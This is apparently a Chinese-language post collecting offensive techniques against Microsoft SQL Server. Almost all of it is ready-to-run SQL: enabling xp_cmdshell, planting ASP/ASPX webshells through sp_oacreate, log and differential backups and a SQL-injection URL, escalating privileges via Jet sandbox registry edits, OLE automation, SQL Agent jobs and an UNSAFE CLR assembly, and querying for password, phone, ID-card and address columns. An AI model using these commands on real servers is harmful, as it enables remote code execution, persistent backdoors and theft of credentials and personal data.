【各种数据库利用方法总结】Mssql

Mssql

 

GetShell

存储过程xp_cmdshell写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

xp_cmdshell不能调用,下面命令打开

在2005中xp_cmdshell的权限是system,2008中是network。

#开启xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 1;`
reconfigure;
exec sp_configure 'show advanced options', 0;
reconfigure;
exec master..xp_cmdshell 'whoami' #能执行得到whoami的结果

#关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;`
exec sp_configure 'show advanced options', 0;
reconfigure;
exec master..xp_cmdshell 'whoami' #不能得到whoami的结果

写shell

exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> >>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp'

sqlmap

http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

存储过程sp_oacreate写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

有do_owner权限的用户也可以。

判断当前是否为DBA权限,为1则可以提权

select is_srvrolemember('sysadmin');

利用存储过程写入一句话

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'

被删除可以使用这个来提权试试,恢复sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

日志备份写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\xxxx\www\2.asp'

差异备份写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

Privilege Escalation

沙盒提权

  • 拥有DBA权限
  • sqlserver服务权限为system
  • 服务器拥有jet.oledb.4.0驱动
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode';

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( whoami )');

Ole automation procedures提权

  • 拥有DBA权限

判断当前是否为DBA权限,为1则可以提权

select is_srvrolemember('sysadmin');

开启Ole automation procedures

EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;

命令执行多种方式

  • wscript.shell组件

declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

  • com组件

declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

JobAgent提权

  • 拥有DBA权限
  • 需要sqlserver代理(sqlagent)开启


  1. 尝试开启sqlagent

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

  1. 利用任务计划命令执行(无回显)

USE msdb;
EXEC dbo.sp_add_job @job_name = N'testjob'
EXEC sp_add_jobstep @job_name = N'testjob', @step_name = N'testjob', @subsystem = N'CMDEXEC', @command = N'whoami', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'testjob'
EXEC dbo.sp_start_job N'testjob';

CLR提权

  • 拥有DBA权限

  1. 开启CLR

exec sp_configure 'show advanced options','1';reconfigure;exec sp_configure 'clr enabled','1';reconfigure;exec sp_configure 'show advanced options','1';

  1. 导入CLR插件

CREATE ASSEMBLY [MDATKit]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;
[16进制的dll](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt)

  1. 创建CLR函数

CREATE PROCEDURE [dbo].[kitmain]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain]

  1. kitmain函数命令执行

exec kitmain 'cmdexec',N'whoami'

xp_cmdshell

前面已经写了

Other

tips: 08之前的系统还可以写启动项、粘贴键替换。

xp_dirtree

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

xx 库中所有字段名带 pass|pwd 的表

select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%')

xx 库中所有字段名带个人信息的表

select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')

References

请登录后发表评论

    没有回复内容